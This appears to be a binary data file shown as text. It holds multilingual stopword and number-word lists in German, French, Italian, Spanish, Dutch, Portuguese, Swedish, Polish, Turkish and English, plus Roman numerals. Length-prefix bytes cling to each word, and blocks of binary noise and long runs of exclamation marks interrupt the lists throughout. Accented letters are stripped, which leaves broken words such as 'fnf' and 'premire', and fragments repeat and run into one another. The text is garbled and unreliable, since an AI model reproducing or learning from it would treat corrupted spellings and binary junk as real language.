ne0
neben0
nebst0
ned0
nedad0
nede0
"nedefra0
neden0
$nedenfor0
$nedenfra0
 nedfra0
nein0
nej0
 nemlig0
netop0
neun0
&neunerlei0
 neunte0
"neuntem0
"neunten0
"neunter0
"neuntes0
0neunundachtzig0
6neunundachtzigste0
8neunundachtzigstem0
8neunundachtzigsten0
8neunundachtzigster0
8neunundachtzigstes0
0neununddreiig0
6neununddreiigste0
8neununddreiigstem0
8neununddreiigsten0
8neununddreiigster0
8neununddreiigstes0
0neunundfnfzig0
6neunundfnfzigste0
8neunundfnfzigstem0
8neunundfnfzigsten0
8neunundfnfzigster0
8neunundfnfzigstes0
0neunundneunzig0
6neunundneunzigste0
8neunundneunzigstem0
8neunundneunzigsten0
8neunundneunzigster0
8neunundneunzigstes0
0neunundsechzig0
6neunundsechzigste0
8neunundsechzigstem0
8neunundsechzigsten0
8neunundsechzigster0
8neunundsechzigstes0
0neunundsiebzig0
6neunundsiebzigste0
8neunundsiebzigstem0
8neunundsiebzigsten0
8neunundsiebzigster0
8neunundsiebzigstes0
0neunundvierzig0
6neunundvierzigste0
8neunundvierzigstem0
8neunundvierzigsten0
8neunundvierzigster0
8neunundvierzigstes0
0neunundzwanzig0
6neunundzwanzigste0
8neunundzwanzigstem0
8neunundzwanzigsten0
8neunundzwanzigster0
8neunundzwanzigstes0
$neunzehn0
(neunzehnte0
*neunzehntem0
*neunzehnten0
*neunzehnter0
*neunzehntes0
"neunzig0
(neunzigste0
*neunzigstem0
*neunzigsten0
*neunzigster0
*neunzigstes0
ne0
neuf0
$neuvime0
&neuvimes0
ne0
"neanche0
negli0
nei0
nel0
nella0
nelle0
nello0
"nemmeno0
 neppur0
"neppure0
 nessun0
"nessuna0
,nessunissima0
,nessunissimo0
"nessuno0
never0
$namelijk0
 namens0
6natuurlijkerwijze0
(nauwelijks0
$navenant0
nee0
neen0
neer0
&negenmaal0
&negentien0
"nergens0
 netjes0
 nevens0
nas0
nam0
nami0
 nalgum0
"nalguma0
$nalgumas0
"nalguns0
"naquela0
$naquelas0
"naquele0
$naqueles0
"naquilo0
nas0
nela0
nel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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! rHV,

~
F

p8Z*


J

		t	<		f.X xBj2\$dB ~
xZd:B"tR2^.D(rT|V:|`dfHF,2HhD"(8b>tT|`
YU8|D/0
potz0
*potztausend0
pro0

 primer0

"primera0

$primeras0

"primero0

$primeros0
pouah0
pour0
$pourquoi0
 pourra0
"pourrai0
(pourraient0
$pourrais0
$pourrait0
"pourras0
"pourrez0
$pourriez0
&pourrions0
$pourrons0
$pourront0
 pourvu0
&pouvaient0
"pouvais0
"pouvait0
"pouvant0
$pouvante0
&pouvantes0
$pouvants0
 pouvez0
"pouviez0
$pouvions0
"pouvoir0
"pouvons0
"premier0
$premiers0
$premire0
&premires0
pot0
prego0
"press'a0
 presso0
prima0
primo0
pro0
 pronto0
 propri0
"propria0
"proprie0
"proprio0
&povertjes0
prat0
 presto0
prima0
 priori0
pro0
2procentsgewijze0
(propertjes0
pouca0
*poucachinho0
 poucas0
pouco0
*poucochinho0
 poucos0
pra0
$praquela0
&praquelas0
$praquele0
&praqueles0
$praquilo0
pras0
prela0
 prelas0
prele0
 preles0
 preste0
"prestes0
$primeira0
&primeiras0
$primeiro0
&primeiros0
 priori0
pro0
pros0
pouco0
$primeira0
$primeiro0
pr0

 quiere0

"quieren0

"quieres0

 quiero0

 quince0

$quincena0

&quincenas0

$quinceno0

&quincenos0

.quincuagsima0

0quincuagsimas0

.quincuagsimo0

0quincuagsimos0

.quingentsima0

0quingentsimas0

.quingentsimo0

0quingentsimos0

(quinientos0

 quinta0

"quintas0

 quinto0

"quintos0

quise0

$quisiera0

(quisierais0

&quisieran0

&quisieras0

$quisiere0

(quisiereis0

&quisieren0

&quisieres0

&quisieron0

$quisiese0

(quisieseis0

&quisiesen0

&quisieses0

$quisimos0

$quisiste0

(quisisteis0

*quisiramos0

*quisiremos0

*quisisemos0

quiso0

quin0

"quines0

qu0
q0
pouah0
pour0
$pourquoi0
 pourra0
"pourrai0
(pourraient0
$pourrais0
$pourrait0
"pourras0
"pourrez0
$pourriez0
&pourrions0
$pourrons0
$pourront0
 pourvu0
&pouvaient0
"pouvais0
"pouvait0
"pouvant0
$pouvante0
&pouvantes0
$pouvants0
 pouvez0
"pouviez0
$pouvions0
"pouvoir0
"pouvons0
"premier0
$premiers0
$premire0
&premires0
psitt0
pst0
pu0
pue0
pues0
puis0
"puisque0
 puisse0
$puissent0
"puisses0
$puissiez0
&puissions0
 purent0
pus0
"pussent0
put0
"pcare0
pt0
qq.0
qqch.0
qqn0
quand0
quant0
$quarante0
*quarantime0
,quarantimes0
$quatorze0
*quatorzime0
,quatorzimes0
 quatre0
&quatrime0
(quatrimes0
que0
quel0
 quelle0
"quelles0
&quelqu'un0
(quelqu'une0
quels0
qui0
&quiconque0
 quinze0
&quinzime0
(quinzimes0
quoi0
"quoique0
q0
pot0
prego0
"press'a0
 presso0
prima0
primo0
pro0
 pronto0
 propri0
"propria0
"proprie0
"proprio0
&povertjes0
prat0
 presto0
prima0
 priori0
|
xb^B@H&


"`
l
\8L
.

	D			f	@			lH"rR.
|X4zP2l|`
U~	"Kp00
r0
r0
r0
r0
	r0
 ratsch0
	re0
	re0
recht0
 rechts0
ret0
&rigtignok0
rums0
s0
s0
s0
s0
	s0
sagte0
said0
	said0
said0
	said0
same0
	same0
same0
	same0
samme0
 sammen0
(sammesteds0
samt0
samt0
sch0
"schnapp0
"schnipp0
"schnips0
schon0
"schwapp0
"schwaps0
"schwipp0
"schwupp0
.schwuppdiwupp0
"schwups0
se0

ro0

salud0

salve0

salvo0

se0

sea0
r0
s0
$rataplan0
"revoici0
"revoil0
rien0
sa0
$sacristi0
salut0
sans0
0saperlipopette0
$sapristi0
sauf0
 savoir0
se0
r0
s0
"rasente0
raso0
salve0
salvo0
sarai0
"saranno0
"sarebbe0
&sarebbero0
sarei0
"saremmo0
 saremo0
"sareste0
"saresti0
 sarete0
sar0
sar0
se0
r0
s0
said0
same0
re0
said0
same0
s0
r0
s0
&rakelings0
rats0
(rauwelijks0
(rauwelings0
$realiter0
$rechtaan0
&rechtdoor0
$rechtens0
"rechtop0
&rechtover0
$rechtsaf0
*rechtshalve0
$rechtsom0
.rechtsomkeert0
(rechtswege0
$rechttoe0
$rechtuit0
0redelijkerwijs0
reeds0
.regeringswege0
rep0
&rijkswege0
 rondom0
"ronduit0
*ruimschoots0
&rustigjes0
 ruwweg0
saam0
(sakkerloot0
samen0
sans0
"santjes0
sant0
(sapperloot0
(scherzando0
 schier0
,schoolwaarts0
*schraaltjes0
 schrap0
.schubsgewijze0
se0
r0
s0
 rpido0
raro0
&realmente0
recm0
ruim0
ruins0
$salvante0
salvo0
se0
r0
s0
se0
r0
s0
r0
s0
resp0
resp.0
(respektive0
runt0
(runtikring0
samme0
samt0
$samtliga0
sch0
said0
same0
r0
s0
r0
s0
sa10
sana0
sanki0
s0
se0
se0
s0
sette0
$sapristi0
sauf0
 savoir0
se0
r0
s0
"rasente0
raso0
salve0
salvo0
sarai0
"saranno0
"sarebbe0
&sarebbero0
sarei0
"saremmo0
 saremo0
"sareste0
"saresti0
 sarete0
sar0
sar0
se0
 sebben0
"sebbene0
seco0
"seconda0
"seconde0
"secondi0
"secondo0
(sedicesimo0
 sedici0
(sedicimila0
r0
s0
said0
same0
re0
said0
same0
see0
s0
r0
s0
&rakelings0
rats0
(rauwelijks0
(rauwelings0
$realiter0
$rechtaan0
&rechtdoor0
$rechtens0
"rechtop0
&rechtover0
$rechtsaf0
*rechtshalve0
$rechtsom0
.rechtsomkeert0
(rechtswege0
$rechttoe0
$rechtuit0
0redelijkerwijs0
reeds0
.regeringswege0
rep0
&rijkswege0
 rondom0
"ronduit0
*ruimschoots0
&rustigjes0
 ruwweg0
saam0
(sakkerloot0
samen0

:	8`h>B n			r	P	0		hJbFtnbBP$(L

J,h|0
`D
&X$Bh



(tzR2PvfD\


v
\R
.

f<@6h
d<  
,~R

v`
2UD~7?0
set0

*setecientos0

"setenta0
$settanta0
0settantacinque0
8settantacinquesimo0
*settantadue0
2settantaduesimo0
,settantamila0
,settantanove0
4settantanovesimo0
:settantaquattresimo0
2settantaquattro0
*settantasei0
4settantaseiesimo0
.settantasette0
6settantasettesimo0
4settantatreesimo0
*settantatr0
,settantesimo0
2settantottesimo0
*settantotto0
&settantun0
0settantunesimo0
(settantuno0
sette0
0settecentesimo0
(settecento0
:settecentocinquanta0
0settecentomila0
&settemila0
"settimo0
sete0
(setecentas0
(setecentos0
"setenta0
0setingentsima0
2setingentsimas0
0setingentsimo0
2setingentsimos0
*setuagsima0
,setuagsimas0
*setuagsimo0
,setuagsimos0
seu0
seus0
(sexagsima0
seu0
seus0
sex<siebenundsechzigsten0
<siebenundsechzigster0
<siebenundsechzigstes0
4siebenundsiebzig0
:siebenundsiebzigste0
<siebenundsiebzigstem0
<siebenundsiebzigsten0
<siebenundsiebzigster0
<siebenundsiebzigstes0
4siebenundvierzig0
:siebenundvierzigste0
<siebenundvierzigstem0
<siebenundvierzigsten0
<siebenundvierzigster0
<siebenundvierzigstes0
4siebenundzwanzig0
:siebenundzwanzigste0
<siebenundzwanzigstem0
<siebenundzwanzigsten0
<siebenundzwanzigster0
<siebenundzwanzigstes0
 siebte0
"siebtem0
"siebten0
"siebter0
"siebtes0
$siebzehn0
(siebzehnte0
*siebzehntem0
*siebzehnten0
*siebzehnter0
*siebzehntes0
"siebzig0
(siebzigste0
*siebzigstem0
*siebzigsten0
*siebzigster0
*siebzigstes0
sig0
(simplethen0
sin0
since0
	since0
since0
	since0
sind0
sine0
sit0
$sjldent0
skal0
skam0
 skulle0
slags0
snart0
so0
	so0
	so0
 sobald0
 sodass0
soda0
 sofern0
 solang0
"solange0
solch0
 solche0
"solchem0
"solchen0
"solcher0
(solcherart0
"solches0
soll0
solle0
 sollen0
"sollend0
"sollest0
 sollet0
 sollst0
sollt0
 sollte0
"sollten0
$solltest0
"solltet0

*setecientos0

"setenta0

(sexagsima0

*sexagsimas0

(sexagsimo0

*sexagsimos0

,sexcentsima0

.sexcentsimas0

,sexcentsimo0

.sexcentsimos0

sexta0

 sextas0

sexto0

 sextos0

seis0

si0

sido0

 siendo0

siete0

sin0

sino0

$siquiera0

so0

sobre0

"socorro0

sois0

"solamos0

"solemos0

soler0

"soliera0

&solierais0

$solieran0

$solieras0

"soliese0

&solieseis0

$soliesen0

$solieses0

(soliramos0

(solisemos0

 solis0

 solis0

sola0

"solais0

$solamos0

 solan0

 solas0
si0
sien0
 sienne0
"siennes0
siens0
sinon0
six0
"sixime0
$siximes0
soi0
 soient0
sois0
soit0
$soixante0
*soixantime0
,soixantimes0
$settanta0
0settantacinque0
8settantacinquesimo0
*settantadue0
2settantaduesimo0
,settantamila0
,settantanove0
4settantanovesimo0
:settantaquattresimo0
2settantaquattro0
*settantasei0
4sett(jPpF|BtN$h2t:|R`z8`
U<K'U0
*trillionste0
,trillionstem0
,trillionsten0
,trillionster0
,trillionstes0
trotz0
$trotzdem0
"tsching0
(tschingbum0
6tschingderassabum0
4tschingderassasa0
tut0
&tvrtimod0
u0
u0
u0
u0
	u0
ud0
ude0
uden0
 udenad0
 udenom0
uff0
uh0
uh0
uha0
ui0
um0

"trilln0

tu0

tus0

tuya0

tuyas0

tuyo0

tuyos0

t0

u0

uf0

un0

una0

unas0
u0
trois0
&troisime0
(troisimes0
tu0
 tudieu0
&turlututu0
un0
u0
 troppa0
 troppe0
 troppi0
 troppo0
tu0
tua0
tue0
tuo0
tuoi0
tutta0
$tuttavia0
tutte0
tutti0
tutto0
uff0
uh0
uhi0
uhm0
un0
una0
u0
u0
,troepsgewijs0
$trouwens0
tuk0
 tussen0
*tussenbeide0
(tussendoor0
$tussenin0
&tussenuit0
(twaalfmaal0
$tweemaal0
*twintigmaal0
u0
uit0
 uiteen0
,uitentreuren0
&uiteraard0
&uitermate0
*uitsluitend0
 ultimo0
ultra0
u0
tym0
tych0
tymi0
ty0
twj0
"twojego0
"twojemu0
twym0
twoi0
twych0
twymi0
twoja0
 twojej0
twoj0
twoje0
to0
 to-s0
tm0
$tnhamos0
"tnheis0
trs0
trs0
 trinta0
 triplo0
tu0
tua0
tuas0
tudo0
um0
uma0
umas0
to0
tm0
trs0
tudo0
u0
um0
uma0
u0
u0
trots0
tusan0
tusen0
"tusende0
tut0
&tvrsver0
&tvrtemot0
*tvrtigenom0
tv0
&tvhundra0
$tvtusen0
ty0
 u.p.a.0
u0
tut0
u0
un0
una0
u0
&un0
un0
u0
v0
v0
,troepsgewijs0
$trouwens0
tuk0
 tussen0
*tussenbeide0
(tussendoor0
$tussenin0
&tussenuit0
(twaalfmaal0
$tweemaal0
*twintigmaal0
u0
uit0
 uiteen0
,uitentreuren0
&uiteraard0
&uitermate0
*uitsluitend0
 ultimo0
ultra0
uw0
uwe0
uwen0
(uwenthalve0
&uwentwege0
$uwentwil0
(uwentwille0
&uwerzijds0
uzelf0
"vaarwel0
van0
vanaf0
$vanavond0
$vanboven0
"vandaag0
"vandaan0
"vandaar0
"vandien0
"vandoor0
 vaneen0
"vanhier0
&vanmiddag0
&vanmorgen0
$vannacht0
(vanochtend0
"vanouds0
 vanuit0
"vanwaar0
"vanwege0
"vanzelf0
u0
v0
tym0
tych0
tymi0
ty0
twj0
"twojego0
"twojemu0
twym0
twoi0
twych0
twymi0
twoja0
 twojej0
twoj0
twoje0
to0
 to-s0
tm0
$tnhamos0
"tnheis0
trs0
trs0
 trinta0
 triplo0
tu0
tua0
tuas0
tudo0
um0
uma0
umas0
$undcimo0
&undcimos0
&undcuplo0
uns0
vades0
vai0
vais0
to0
tm0
trs0
tudo0
u0
um0
uma0
@&F^n<zZ0



~
T:"lL,v0h
T\p

J

0f
xV

4H
*
>

	J\6pTl0			V	6	jL.:P6	"x|dX:jrX8`
qU^H1"0
vel0
(vermittels0
*vermittelst0
"vermge0
very0
	very0
very0
	very0
vi0
via0
viel0
viele0
 vielem0
 vielen0
 vieler0
&vielerlei0
 vieles0
(vielleicht0
vier0
&viererlei0
 vierte0
"viertem0
"vierten0
"vierter0
"viertes0
0vierundachtzig0
6vierundachtzigste0
8vierundachtzigstem0
8vierundachtzigsten0
8vierundachtzigster0
8vierundachtzigstes0
0vierunddreiig0
6vierunddreiigste0
8vierunddreiigstem0
8vierunddreiigsten0
8vierunddreiigster0
8vierunddreiigstes0
0vierundfnfzig0
6vierundfnfzigste0
8vierundfnfzigstem0
8vierundfnfzigsten0

*verbigracia0
vers0
 versus0
"veuille0
&veuillent0
$veuilles0
$veuillez0
&veuillons0
"veulent0
veut0
veux0
via0
&ventesimo0
venti0
*venticinque0
2venticinquesimo0
$ventidue0
,ventiduesimo0
&ventimila0
&ventinove0
.ventinovesimo0
4ventiquattresimo0
,ventiquattro0
$ventisei0
.ventiseiesimo0
(ventisette0
0ventisettesimo0
.ventitreesimo0
$ventitr0
,ventottesimo0
$ventotto0
 ventun0
*ventunesimo0
"ventuno0
verso0
vi0
via0
very0
very0
veraf0
$verderop0
$verdikke0
(verdikkeme0
$verdomme0
$verdorie0
(verdulleme0
.verkeerdelijk0
"vermits0
$verreweg0
 versus0
 veruit0
(vervolgens0
via0
"vibrato0
$viermaal0
 versus0
vez0
vezes0
(vice-versa0
ver0
vez0
vem0
$vemhelst0
vems0
*vemsomhelst0
vi0
via0
vid0
*vidkommande0
very0
veya0
"veyahut&veuillent0
$veuilles0
$veuillez0
&veuillons0
"veulent0
veut0
veux0
via0
vingt0
&vingtime0
(vingtimes0
&ventesimo0
venti0
*venticinque0
2venticinquesimo0
$ventidue0
,ventiduesimo0
&ventimila0
&ventinove0
.ventinovesimo0
4ventiquattresimo0
,ventiquattro0
$ventisei0
.ventiseiesimo0
(ventisette0
0ventisettesimo0
.ventitreesimo0
$ventitr0
,ventottesimo0
$ventotto0
 ventun0
*ventunesimo0
"ventuno0
verso0
vi0
via0
very0
very0
veraf0
$verderop0
$verdikke0
(verdikkeme0
$verdomme0
$verdorie0
(verdulleme0
.verkeerdelijk0
"vermits0
$verreweg0
 versus0
 veruit0
(vervolgens0
via0
"vibrato0
$viermaal0
$vijfmaal0
 versus0
vez0
vezes0
(vice-versa0
$vigsima0
&vigsimas0
$vigsimo0
&vigsimos0
vinte0
vira0
virai0
 virais0
viram0
"viramos0
"virando0
virar0
 virara0
 virar0
"viraram0
"viraro0
"viraras0
"virars0
$virardes0
"virarei0
$virareis0
"virarem0
&viraremos0
"virares0
"viraria0
$virariam0
(viraramos0
$virarias0
&virareis0
$virarmos0
viras0
"virasse0
$virassem0
$virasses0
"viraste0
$virastes0
 virava0
"viravam0
"viravas0
vire0
ver0
vez0
vem0
$vemhelst0
vems0
*vemsomhelstp	t>f.X `>pP*
<"rX,Zv^R>"lJB&fF
b0
*
z
|
T
0

~8f:


b
>

			d	8		tl`
UJ΅0
auf0
$aufgrund0

aun0

 aunque0
aus0
$ausgangs0
*ausgenommen0
2ausschliesslich0
0ausschlielich0
 ausser0
(ausserhalb0
 autsch0
auweh0
auwei0
 auweia0
auer0
&auerhalb0

ay0

apa0
b0
b0
b0
b0
b0
	b0
bag0
$bagefter0
 bagfra0
bagom0
"bagover0
bagp0
bagud0
bah0

bah0

bajo0
bare0
basta0

basta0

$bastante0

&bastantes0
 auquel0
aura0
aurai0
$auraient0
 aurais0
 aurait0
auras0
aurez0
 auriez0
"aurions0
 aurons0
 auront0
 autant0
autre0
 autres0
 autrui0
aux0
$auxdites0
"auxdits0
(auxquelles0
$auxquels0
"avaient0
avais0
avait0
avant0
avec0
avez0
aviez0
 avions0
avoir0
avons0
ayant0
 ayante0
"ayantes0
 ayants0
ayez0
ayons0
ae0
bah0
barbe0
basta0
b0
 avemmo0
 avendo0
 avente0
 aventi0
avere0
 avesse0
$avessero0
 avessi0
$avessimo0
 aveste0
 avesti0
avete0
aveva0
"avevamo0
"avevano0
"avevate0
avevi0
avevo0
avrai0
"avranno0
"avrebbe0
&avrebbero0
avrei0
"avremmo0
 avremo0
"avreste0
"avresti0
 avrete0
avr0
avr0
avuta0
avute0
avuti0
avuto0
bah0
b0
b0
b0
bah0
(barrevoets0
basta0
b0
bd0
$bdziesz0
 bdzie0
$bdziemy0
&bdziecie0
bd0
bdz0
bdc0
 bdzmy0
"bdzcie0
$bdzcie|0
a0
 avante0
$bastante0
&bastantes0
b0
b0
b0
av0
bak0
bakom0
bara0
basta0
b0
b0
bana0
bari0
ba_ka0
&ba_stne0
a0
av avente0
 aventi0
avere0
 avesse0
$avessero0
 avessi0
$avessimo0
 aveste0
 avesti0
avete0
aveva0
"avevamo0
"avevano0
"avevate0
avevi0
avevo0
avrai0
"avranno0
"avrebbe0
&avrebbero0
avrei0
"avremmo0
 avremo0
"avreste0
"avresti0
 avrete0
avr0
avr0
avuta0
avute0
avuti0
avuto0
bah0
be'0
beh0
 bench0
bens0
bis0
b0
be0
"because0
been0
 before0
being0
"between0
be0
"because0
been0
 before0
being0
"between0
b0
b0
bah0
(barrevoets0
basta0
:begrijpelijkerwijze0
"behalve0
&behoudens0
*beiderzijds0
6beleefdheidshalve0
"beneden0
,benedendijks0
0benedenstrooms0
$benevens0
,bepaaldelijk0
"bereids0
 bergaf0
 bergop0
,beroepshalve0
*betreffende0
*beurtelings0
$bewesten0
$bezijden0
$bezuiden0
&bijaldien0
 bijeen0
$bijgeval0
&bijgevolg0
"bijkans0
$bijlange0
bijna0
"bijster0
$bijtijds0
,bijvoorbeeld0
&bijwijlen0
b0
bd0
$bdziesz0
 bdzie0
$bdziemy0
&bd 
P	4pV	<|blpT6Tt<L6hR>,
 
			b	@	 		dF(




n
N
,

lhJ(hD$



b
B
P2~ffB(F(
r@jH(
jN.z`
UxXBE1s0

 fuesen0

 fueses0

fui0

 fuimos0

 fuiste0

$fuisteis0

$furamos0

$furemos0

$fusemos0
fy0
f0
fet0
fr0
fj0
fr0
frst0
 frste0
fnf0
&fnferlei0
 fnfte0
"fnftem0
"fnften0
"fnfter0
"fnftes0
0fnfundachtzig0
6fnfundachtzigste0
8fnfundachtzigstem0
8fnfundachtzigsten0
8fnfundachtzigster0
8fnfundachtzigstes0
0fnfunddreiig0
6fnfunddreiigste0
8fnfunddreiigstem0
8fnfunddreiigsten0
8fnfunddreiigster0
8fnfunddreiigstes0
0fnfundfnfzig0
6fnfundfnfzigste0
8fnfundfnfzigstem0
8fnfundfnfzigsten0
8fnfundfnfzigster0
8fnfundfnfzigstes0
0fnfundneunzig0
6fnfundneunzigste0
8fnfundneunzigstem0
8fnfundneunzigsten0
8fnfundneunzigster0
8fnfundneunzigstes0
0fnfundsechzig0
6fnfundsechzigste0
8fnfundsechzigstem0
8fnfundsechzigsten0
8fnfundsechzigster0
8fnfundsechzigstes0
0fnfundsiebzig0
6fnfundsiebzigste0
8fnfundsiebzigstem0
8fnfundsiebzigsten0
8fnfundsiebzigster0
8fnfundsiebzigstes0
0fnfundvierzig0
6fnfundvierzigste0
8fnfundvierzigstem0
8fnfundvierzigsten0
8fnfundvierzigster0
8fnfundvierzigstes0
0fnfundzwanzig0
6fnfundzwanzigste0
8fnfundzwanzigstem0
8fnfundzwanzigsten0
8fnfundzwanzigster0
8fnfundzwanzigstes0
$fnfzehn0
(fnfzehnte0
*fnfzehntem0
*fnfzehnten0
*fnfzehnter0
*fnfzehntes0
"fnfzig0
(fnfzigste0
*fnfzigstem0
*fnfzigsten0
*fnfzigster0
*fnfzigstes0
fr0
 furent0
fus0
fusse0
"fussent0
 fusses0
"fussiez0
$fussions0
fut0
fmes0
ft0
ftes0
fui0
fummo0
fuor0
"fuorch0
fuori0
 furono0
g0
"futurum0
"framos0
 freis0
"fsseis0
$fssemos0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>tP&rZfB\8`|B @`
UpJ0
(dasselbige0
davon0
davor0
"dawider0
dazu0
(dazwischen0
da0
de0
de0

de0

deba0

"debamos0

deban0

debas0

debe0

debed0

"debemos0

deben0

debes0

 debido0

$debiendo0

"debiera0

&debierais0

$debieran0

$debieras0

"debiere0

&debiereis0

$debieren0

$debieres0

$debieron0

"debiese0

&debieseis0

$debiesen0

$debieses0

"debimos0

"debiste0

&debisteis0

(debiramos0

(debiremos0

(debisemos0

debi0

debo0
 debout0

 debis0

 debis0

deb0

deba0

"debais0

$debamos0

 deban0

 debas0

 decena0

"decenas0

 deceno0

"decenos0

,decimacuarta0

.decimacuartas0

,decimanovena0

.decimanovenas0

,decimaoctava0

.decimaoctavas0

,decimaquinta0

.decimaquintas0

*decimasexta0

,decimasextas0

.decimasptima0

0decimasptimas0

.decimatercera0

0decimaterceras0

*decimoctava0

,decimoctavas0

*decimoctavo0

,decimoctavos0

,decimocuarta0

.decimocuartas0

,decimocuarto0

.decimocuartos0

(decimonona0

*decimononas0

(decimonono0

*decimononos0

,decimonovena0

.decimonovenas0

,decimonoveno0

.decimonovenos0

,decimoquinta0

.decimoquintas0

,decimoquinto0

.decimoquintos0

*decimosexta0

,decimosextas0

*decimosexto0

,decimosextos0

.decimosptima0

0decimosptimas0

.decimosptimo0

0decimosptimos0

,decimotercia0

.decimotercias0

,decimotercio0

.decimotercios0
debba0
"debbano0
debbo0
"debbono0
 decimo0
degli0
deh0
dei0
dat0
"datgene0
dato0
&datzelfde0
de0
deels0
da0
de0
"debaixo0
"debalde0
"decerto0
$defronte0
de0
de0
de0
dedi0
"deilse0
de0
de!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ionen0
	U0

Ud.0

Uds.0
	V0

V0
VI0
VI0
VI0

VI0
VII0
VII0
VII0

VII0
VIII0
VIII0
VIII0

VIII0

Vd.0

Vds.0
	W0
	X0

X0
XI0
XI0
XI0

XI0
XII0
XII0
XII0

XII0
XIII0
XIII0
XIII0

XIII0
XIV0
XIV0
XIV0

XIV0
XIX0
XIX0
XIX0

XIX0

XL0

XLI0

XLII0

XLIII0

XLIV0

XLIX0

XLV0

XLVI0

XLVII0

 XLVIII0
XV0
XV0
XV0

XV0
XVI0
XVI0
XVI0

XVI0
XVII0
XVII0
XVII0

XVII0
XVIII0
XVIII0
XVIII0

XVIII0
XX0
XX0
XX0

XX0
XXI0
XXI0
XXI0
VI0
VII0
VIII0
XI0
XII0
XIII0
XIV0
XIX0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
V0
VI0
VII0
VIII0
X0
XI0
XII0
XIII0
XIV0
XIX0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
XL0
XLI0
XLII0
XLIII0
XLIV0
XLV0
XLVI0
XLVII0
 XLVIII0
XLIX0
V0
VI0
VII0
VIII0
X0
XI0
XII0
XIII0
XIV0
XIX0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
VI0
VII0
VIII0
XI0
XII0
XIII0
XIV0
XIX0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
V0
Vb.0
VI0
VII0
VIII0
Vs.0
XI0
XII0
XIII0
XIV0
XIX0
XL0
XLI0
XLII0
XLIII0
XLIV0
XLIX0
XLV0
XLVI0
XLVII0
 XLVIII0
XV0
XVI0
XVII0
XVIII0
XX0
XXI
XXI0
XXII0
XXIII0
XXIV0
XXIX0
XXV0
XXVI0
XXVII0
 XXVIII0
XXX0
XXXI0
XXXII0
 XXXIII0
XXXIV0
XXXIX0
XXXV0
XXXVI0
 XXXVII0
"XXXVIII0
V0
VI0
VII0
VIII0
X0
XI0
XII0
XIII0
XIV0
XIX0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
XXII0
XXIII0
XXIV0
XXV0
XXVI0
XXVII0
 XXVIII0
XXIX0
XXX0
XXXI0
XXXII0
 XXXIII0
XXXIV0
XXXIX0
XXXV0
XXXVI0
 XXXVII0
"XXXVIII0
XL0
XLI0
XLII0
XLIII0
XLIV0
XLV0
XLVI0
XLVII0
 XLVIII0
XLIX0
V0
VI0
VII0
VIII0
X0
XI0
XII0
XIII0
XIV0
XIX0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
XXII0
XXIII0
XXIV0
XXIX0
XXV0
XXVI0
XXVII0
 XXVIII0
XXX0
XXXI0
XXXII0
 XXXIII0
XXXIV0
XXXIX0
XXXV0
XXXVI0
 XXXVII0
"XXXVIII0
VI0
VII0
VIII0
XI0
XII0
XIII0
XIV0
XIX0
XV0
XVI0
XVII0
XVIII0
XX0
XXI0
V0
Vb.0
VI0
0`
@	8H
(	*
p	hJ,
T	
:	nT<n
"	$6nR8dVH*rZzT
	tZ`:
@&D
l
*r
R
hN4Z:
$
v\@>
$$	jl	RT<$zr	`
U
l0
&cinquime0
(cinquimes0
clac0
clic0
circa0
ci0
"coccod0
"codesta0
"codeste0
"codesti0
"codesto0
cogli0
coi0
col0
colei0
colla0
colle0
collo0
 coloro0
colui0
come0
circa0
cito0
co0
&cinqenta0
claro0
com0
com!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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0

&pudiereis0

$pudieren0

$pudieres0

$pudieron0

"pudiese0

&pudieseis0

$pudiesen0

$pudieses0

"pudimos0

"pudiste0

&pudisteis0

(pudiramos0

(pudiremos0

(pudisemos0

pudo0
pue0

pueda0

 puedan0

 puedas0

puede0

 pueden0

 puedes0

puedo0
pues0

pues0

puf0
puff0
puh0
puh0
puha0
puis0
"puisque0
 puisse0
$puissent0
"puisses0
$puissiez0
&puissions0

pum0
 purent0
pus0
"pussent0
put0
p0
"pcare0
p0
pt0
q0
q0
q0
q0
q0
q0
	q0
qq.0
qqch.0
qqn0
quak0
quand0
quant0
 prosit0
puoi0
pur0
 purch0
pure0
pu0
qual0
"qualche0
*qualcheduna0
*qualcheduno0
.qualcos'altro0
$qualcosa0
"qualcun0
.qualcun'altra0
$qualcuna0
$qualcuno0
quale0
quali0
"qualora0
&qualsiasi0
&qualsisia0
,qualsivoglia0
*quand'anche0
 quando0
 quanta0
 quante0
 quanti0
 quanto0
(quantunque0
$quaranta0
0quarantacinque0
8quarantacinquesimo0
*quarantadue0
2quarantaduesimo0
,quarantamila0
,quarantanove0
4quarantanovesimo0
:quarantaquattresimo0
2quarantaquattro0
*quarantasei0
